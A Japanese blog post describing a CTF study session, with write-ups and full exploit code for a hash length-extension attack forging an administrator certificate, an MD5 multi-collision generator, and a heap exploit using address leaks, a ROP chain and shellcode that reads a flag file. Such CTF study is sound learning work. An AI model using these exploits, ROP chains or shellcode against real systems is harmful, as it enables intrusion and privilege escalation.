2016年8月29日月曜日

katagaitaiCTF#5 関西medに参加しました

本日(08月28日)に大阪で開催されたkatagaitai CTF勉強会(med)に参加してきました。

内容は午前はCryptography, 午後はPwnでした。Cryptographyはハッシュ関数に関する攻撃をやりました。問題はhack you 2014のhashmeと、ebCTF 2013のmd5collidingを中心に勉強しました。どうも講師の方がこのwriteupを読む可能性があるようなので、今回はしっかり書こうと思います。ちなみに一番前の中央に座っていました。[ ^o^]
katagaitaiCTFの5周年おめでとうございます。

午前 - Cryptography

Length extension attackやハッシュ衝突系の問題は昔勉強したことがあったので、今回のCryptographyはあまり資料を見なくても解けました。

hashme

ユーザー名を登録すると、「login=[username]&role=anonymous」で登録されます。ログインする際にroleにadministratorが入っていればフラグが表示されます。しかし、ログインするには登録時に生成される認証コードが必要です。認証コードは
s = "login=[username]&role=anonymous"
base64( xor( s + hashme(SALT + s), KEY ) )
で生成されます。
ただし、SALTとKEYはサーバー側にあり、不明です。(ローカルで実行する際はSALT="HOGE", KEY="\x01\x02\x03\x04"にしました)
ここでhashmeという独自実装のハッシュ関数がありますが、md5のように32バイトのhexdigestを出力するハッシュ関数で、ハッシュでごちゃごちゃにした各4バイトのA, B, C, DをB, A, D, Cの順にくっつけて出力しています。

(1)KEYを取得
とりあえずKEYは単純なxorで使われており、入出力はどちらも取得できるので、まずKEYを計算します。方法として、認証コード(cert)をbase64デコードし、それと"login=[username]&role=anonymous"をxorすれば、KEYの最初の方から復号化できます。さらに、[username]の長さを長くすると、それだけKEYを長く復号化できます。xorではKEYを繰り返してxorしているので、同じパターンの繰り返しが出た時点でそこまでが実際のKEY値です。

(2)length extension attackを実行
本日まではhashpumpしか使えなかったのですが、今回の講義を通して原理が分かったので実装することができました。ハッシュ関数は、ある時点で(A, B, C, D)が計算され、それをもとに次の(A, B, C, D)を計算する、という動作を繰り返しています。したがって、最終的に出力された(A, B, C, D)を使って、次の(A, B, C, D)を計算することで、hashme(A)の結果だけからhashme(A+B)が作れるということです。ただし、(A, B, C, D)の計算内には現在のバイトインデックスも含まれるので、Aの長さも必要です。今回の場合、 s = "login=[username]&role=anonymous"のときのhashme(SALT + s)が取得できるので、それをもとにhashme(SALT + s + "&role=administrator")を作ります。
しかし、SALTの長さは分からないので、ここは1から順番に仮定して、成功するまで繰り返します。

これらを実装したpython2のコードを載せます。ただし、pwntoolsというライブラリを使用しています。
# coding: utf-8
from pwn import *
#
# crypto200.pyからそのまま引用
#
from math import sin
from urlparse import parse_qs
from base64 import b64encode
from base64 import b64decode
from re import match
def xor(a, b):
return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100)))
def F(X,Y,Z):
return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
def G(X,Y,Z):
return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
def H(X,Y,Z):
return (X ^ Y ^ Y) & 0xFFFFFFFF
def I(X,Y,Z):
return (Y ^ (~Z | X)) & 0xFFFFFFFF
def ROL(X,Y):
return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF
#
# 接続
#
#sock = remote('127.0.0.1', 9999)
sock = remote('katagaitai.orz.hm', 7777)
#
# 適当なユーザーのcertを取得する
#
username = "A" * 128
baseinfo = "login=%s&role=anonymous" % username
sock.recvuntil('[1] Login\n======================\n')
sock.sendline('0') # [0] Register
sock.recvuntil('Your login: ')
sock.sendline(username) # 適当なユーザー名で登録
sock.recvuntil('Your auth certificate:\n')
# certからxorされた"login=%s&role=anonymous"を取得
cert_original = sock.recvline()
cert_original = b64decode(cert_original)
cert = cert_original[0:-32]
#
# KEYを取得する
#
KEY = xor(cert, baseinfo)
for i in range(1, len(KEY)):
if KEY[0:i] == KEY[i:2*i]: # 繰り返しを検出
KEY = KEY[0:i]
break
print("[INFO] KEY found : %s" % KEY.encode('hex'))
#
# hashme(SALT + "login=[username]&role=anonymous" + "&role=administrator")
# を計算する
#
cert_original = xor(cert_original, KEY)
hash_original = cert_original[-32:]
X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]
s = "&role=administrator" # 追加する文字列
# SALTの長さによってiが変わる
for SALT_len in range(1, 32):
print("[INFO] trying new length : %d" % SALT_len)
# 元に戻す
B = int(hash_original[0:8], 16)
A = int(hash_original[8:16], 16)
D = int(hash_original[16:24], 16)
C = int(hash_original[24:32], 16)
for i,ch in enumerate(s):
i = SALT_len + len(baseinfo) + i # 追加文字なのでiを更新
k, l = ord(ch), i & 0x1f
A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF
# hash_newができた
hash_new = ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))
print("[INFO] new hash generated : %s" % hash_new)
# hash_newからcert_newを作る
cert_new = baseinfo + s + hash_new
cert_new = b64encode(xor(cert_new, KEY))
print("[INFO] new cert generated : %s" % cert_new)
# 試してみる
sock.recvuntil('[1] Login\n======================\n')
sock.sendline('1') # [1] Login
sock.recvuntil('Provide your certificate:')
sock.sendline(cert_new)
sock.recvline()
ret = sock.recvline()
print("[INFO] received : %s" % ret)
# 成功したか
if "[+] Welcome," in ret:
print(sock.recv(4096))
break
sock.interactive()
view raw solve_hashme.py hosted with ❤ by GitHub

今まで完全に闇の世界だったlength extension attackの原理が理解できたときは、かなり感動しました。

md5colliding

これ系も実は昔やったことがあり、そのときfastcollを使ったのも覚えていますが、2つまでしか同じハッシュを持つファイルが作れないなぁと思っていてそのままでした。今回の講義で少しステップアップした使い方ができるようになったかな。
さて、この問題は、指定された5つの文字列をそれぞれ出力するようなexeファイルを5つ作る、という問題です。ただし、5つのファイルは全てmd5が同じである必要があり、sha1が異なる必要があります。
fastcollというツールを使うと、
$ fastcoll A -o B C
でA+paddingという内容で、異なるpadding、同じmd5ハッシュ値を持つBとCが出力されます。ここから3つ以上同じハッシュを持つファイルの作り方が分からなかったのですが、
$ fastcoll B -o D E
としてCとD(もしくはE)との差分(追加分)をCに付けたせば良いようです。(なぜなら、hashmeで言ったように、サイズさえ一致すれば、それより前のバイナリは後のハッシュ値に影響しないからです。)
次にexeが異なる出力を持つ必要があるのですが、argv[0][0]などハッシュ値に影響しない部分を利用すれば良いようです。(もしファイル名が自動で割り当てられる場合はどんな方法がベストかな...?) とにかく今回はargv[0]で1から5までの出力を振り分けるのですが、Windows起動が面倒だったのでx86用のelfでやりました。
実行ファイル用のコードは次のようにしました。(linuxでは"./main"のように実行するのでargv[0][0]ではなくargv[0][2]を判定に使っています。) 実行ファイル用のCコードと、衝突生成用のpython2のコードを載せておきます。
/* for x86 linux */
#include <stdio.h>
int main(int argc, char** argv)
{
char c = argv[0][2];
if (c == '1') {
puts("All Eindbazen are wearing wooden shoes");
} else if (c == '2') {
puts("All Eindbazen live in a windmill");
} else if (c == '3') {
puts("All Eindbazen grow their own tulips");
} else if (c == '4') {
puts("All Eindbazen smoke weed all day");
} else if (c == '5') {
puts("All Eindbazen are cheap bastards");
}
return 0;
}
# coding: utf-8
from os import system, execv
# +-- step4.2 [*]
# |
# +-- step3.2 +-- step4.1 [*]
# | |
# +-- step2.2 +-- step3.1 <-----+ [*]
# | |
# +-- step1.2 +-- step2.1 <-----------------+ [*]
# | |
# main +-- step1.1 <-----------------------------+ [*]
#
N = 5 # 生成個数
base = "main" # 最初のファイル名
# 生成していく
for i in range(1, N):
system("./fastcoll {0} -o step{1}.1 step{1}.2".format(base, i))
base = "step{0}.2".format(i)
# 各stepとstepN.1との差分を埋める
new = open("step{0}.1".format(N-1), "rb").read()
for i in range(1, N - 1):
old = open("step{0}.1".format(i), "rb").read()
old += new[len(old):]
open("step{0}.1".format(i), "wb").write(old)
# gomiを消す
for i in range(1, N - 1):
system("rm ./step{0}.2".format(i))
# 改名する
for i in range(1, N):
system("mv ./step{0}.1 ./{0}.bin".format(i))
system("chmod +x ./{0}.bin".format(i))
system("mv ./step{0}.2 ./{1}.bin".format(N-1, N))
system("chmod +x ./{0}.bin".format(N))

同じmd5ハッシュ、異なるsha1ハッシュが出力され、出力内容も指定通りでした。コードは5個に限らず自由な個数だけ衝突ファイルを生成できるように工夫しています。

parlor

この問題はそもそも問題文を理解しておらず、時間内には解けませんでしたが、家でやったのでwriteupしておきます。
入力に対して条件を通過すれば賭け金だけ増え、失敗すれば賭け金が消えるゲームです。条件というのが
md5(hoge + input) % odds == 0
であることです。ちなみに問題文ではもうちょっと分りにくかったです。また、この「+」は文字列の結合で、hogeは16進数形式のダイジェストなのですが、バイナリとして結合されます。ここで数値加算してみたり文字列そのまま結合してみたりして時間取られました。さらに、inputには改行コードが最後に付いてくるっぽいのでそこにも注意。
この問題でユーザーが指定できるのはlog_2(odds)の整数とinputのバイナリです。hogeはランダムでサーバー側に保存されています。oddsの指数は100まで指定できるので、最大で2**100まで設定可能です。一回成功すればそれを繰り返せば良さそうなのですが、一度送ったinputは二度と送れません。

(1)md5(hoge + x)を知りたい
md5(hoge + x)が求まれば、md5(hoge + x + y)も求まります。しかし、md5(hoge + x)は最大でも下位100bitまでしか残りません。ということでbrute force attackで残りの28bitを探すことにしました。
...と書きながらコードを書いて実行したらあまりの重さにパソコンが止まったので今日はここまで。

午後 - Pwn

なんか凄いことやってるなぁって感じでした。
1つ1つのプロセスで何やってるのかは分かりましたし、資料にソースコードや構造体、サンドボックスの命令などが書かれていたので良かったものの、実際にソースコードも無い状態であれを解けと言われたら確実に捨てます。

tp

最後まで分からなかったこと(自分の書いた攻撃コードに関する疑問):
  • fastbinsに繋がったりbinsに繋がったり。その辺の設計もうろ覚えでした。 
  • 0x1337という数が分かりませんでした。idなら10とか20とかでもいいはず?
  • shellstormのshellcodeが動きませんでしたが、あれはseccompが原因だったのかな?
  • どうやってあんなに長いアセンブリを読む気になれるのか。

でも、やっぱりヒープ苦手だなと実感しました。もっと勉強してきます。

(2)習得したこと:
  • malloc, seccompなどの設計が少し分かりました。
  • main_arena以外にthread_arenaなるものがあるとは......
  • gdbでアタッチしたりダンプしたりするのが便利でした。
  • DynamicROP(?)の復習になりました。
最終的にflag1は取得できたので良かったですが、flag2については手も足も出ない状態です。特にヒープのところの動作がいまいち分かってないので解説みたいなのは書けませんが、書いた攻撃コードを載せておきます。(Ubuntuで書いたので日本語で書けませんでした。)
from pwn import *
class tp:
#
# Constructor
#
def __init__(self, host, port):
# Connect to server
self.sock = remote(host, port)
# List of commands
self.cmd_new = 0
self.cmd_read = 1
self.cmd_write = 2
self.cmd_free = 3
self.cmd_delete = 4
return
#
# Destructor
#
def __del__(self):
self.sock.close()
return
#
# Command 0 : new
#
def remote_new(self, size):
self.sock.send( p32(self.cmd_new) )
self.sock.send( p64(size & 0xFFffFFffFFffFFff) )
ret = u32(self.sock.recv(4))
print("[info] new({0}) --> {1}".format(size, ret))
return ret
#
# Command 1 : read
#
def remote_read(self, note, data, noread=False):
self.sock.send( p32(self.cmd_read) )
self.sock.send( p32(note) )
self.sock.send( p64(len(data)) )
self.sock.send( data )
if noread:
ret = ""
print("[info] read without recv!")
else:
ret = u32(self.sock.recv(4))
print("[info] read({0}, {1}, [data]) --> {2}".format(note, len(data), ret))
return ret
#
# Command 2 : write
#
def remote_write(self, note, size):
self.sock.send( p32(self.cmd_write) )
self.sock.send( p32(note) )
self.sock.send( p64(size) )
data = self.sock.recv(size)
ret = u32(self.sock.recv(4))
print("[info] write({0}, {1}, [data]) --> {2}".format(note, size, ret))
return ret, data
#
# Command 3 : free
#
def remote_free(self, note):
self.sock.send( p32(self.cmd_free) )
self.sock.send( p32(note) )
ret = u32(self.sock.recv(4))
print("[info] free({0}) --> {1}".format(note, ret))
return ret
#
# Command 4 : delete
#
def remote_delete(self, note):
self.sock.send( p32(self.cmd_delete) )
self.sock.send( p32(note) )
ret = u32(self.sock.recv(4))
print("[info] delete({0}) --> {1}".format(note, ret))
return ret
#
# Main
#
if __name__ == '__main__':
base_id = 0x13 # 0x1337?
tp = tp('127.0.0.1', 9999)
raw_input('Press enter after attaching to the server with GDB.')
## Prepare for exploitation
note1 = tp.remote_new(1)
note2 = tp.remote_new(1)
# use main_arena
note3 = tp.remote_new(-1) # linked to fastbins, main_arena
# use thread_arena
note4 = tp.remote_new(-1) # linked to bins, thread_arena
tp.remote_free(note2) # note2.used = 0
note5 = tp.remote_new(0x28) # &note5 == &note4
# write to &note4 --> overwrite note4.id
tp.remote_read(note5, p64(base_id))
# new map having same address as note4 (whose id is base_id)
note6 = tp.remote_new(0x100) # linked to bins, thread_arena
## Leak heap_base
# write to &note4 --> overwrite note4.id and note4.buffer
# then note4.buffer will have the same address as bins, thread_arena
tp.remote_read(note5, p64(base_id) + "\x70\x08")
# 0x00007fe6dc000870 -> 0x00007fe6dc000858
# so ret-0x858 is the very address of the heap base
heap_base = tp.remote_write(base_id, 8)[1]
heap_base = u64(heap_base) - 0x858
print("[info] heap base = 0x{0:x}".format(heap_base))
## Leak libc_base
# leak main_arena
tp.remote_read(note5, p64(base_id) + "\x88\x08")
main_arena = tp.remote_write(base_id, 8)[1]
main_arena = u64(main_arena)
print("[info] main_arena = 0x{0:x}".format(main_arena))
# leak libc_base
libc_base = main_arena - 0x3be760 # (because main_arena has solid address)
print("[info] libc_base = 0x{0:x}".format(libc_base))
## Leak ret
# leak __environ (and read)
tp.remote_read(note5, p64(base_id) + p64(libc_base + 0x3c14a0))
environ = tp.remote_write(base_id, 8)[1]
environ = u64(environ)
print("[info] __environ = 0x{0:x}".format(environ))
# leak ret
ret = environ - 0x200
print("[info] ret = 0x{0:x}".format(ret))
## shallcode!? --> doesn't work!
shellcode = "\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff"
shellcode += "/home/tp/flag1\x00"
## shellcode!! --> does work!
shellcode = "EB225F4831F64831D26A02580F05505766FFCA5E5F4831"
shellcode += "C00F056A016A01505A5F580F05E8D9FFFFFF"
shellcode = shellcode.decode("hex") + "/home/tp/flag1\0"
## ROP gadget!
# rp-lin-x64
pop_rdx = 0x00001b8e
pop_rsi = 0x00024885
pop_rdi = 0x00022b9a
## ROP payload!
payload = ""
# mprotect(rdi=addr, rsi=len, rdx=prot)
payload += p64(libc_base + pop_rdi) # .addr
payload += p64(heap_base + 0x1000)
payload += p64(libc_base + pop_rsi) # .size
payload += p64(len(shellcode) + 1)
payload += p64(libc_base + pop_rdx) # .prot
payload += p64(7)
payload += p64(libc_base + 0xf48d0) # mprotect
# read(rsi=addr, rdx=size, rdi=std?)
payload += p64(libc_base + pop_rsi) # .addr
payload += p64(heap_base + 0x1000)
payload += p64(libc_base + pop_rdx) # .size
payload += p64(len(shellcode))
payload += p64(libc_base + pop_rdi) # .fd
payload += p64(0)
payload += p64(libc_base + 0xeb6a0) # read
payload += p64(heap_base + 0x1000) # jump to shellcode
tp.remote_read(note5, p64(base_id) + p64(ret) + p64(len(payload)))
tp.remote_read(base_id, payload, noread=True)
## Send shellcode!
tp.sock.send(shellcode)
## interactive mode
tp.sock.interactive()
view raw tp_exploit.py hosted with ❤ by GitHub

最初にひっかかったのはremote_readで、payloadを書き込んですぐにsendしなければならないのですが、remote_read内にrecvがあったので、次のステップに進めないままrecvで止まっていました。次にひっかかったのはpayloadのROP gadgetで、「pop esi; ret」を使ってるつもりが「pop esi; rep ...」みたいなのを使ってました。目grepが足りない。最後にひっかかったのがshellcodeで、shellstormからコピーしたものは動きませんでした。たぶんseccompのせいかな?
個人的にtpはflag1だけを集中的に説明しても良かったんじゃないかなとも思います。(そうするとプロが困るのかも。)

さいごに

今回はCryptography, Pwnいずれも前回のmedに比べるとかなり成長した状態で挑戦できたと思っています。(前のmedは1つも解けなかった。)
いつもkatagaitaiCTFではたくさんの知識を習得させてもらっています。講師のみなさん、NRIさんなど、運営してくださっている方々、本当にありがとうございます。
今後も参加したいと思っているので、よろしくお願いします!

0 件のコメント:

コメントを投稿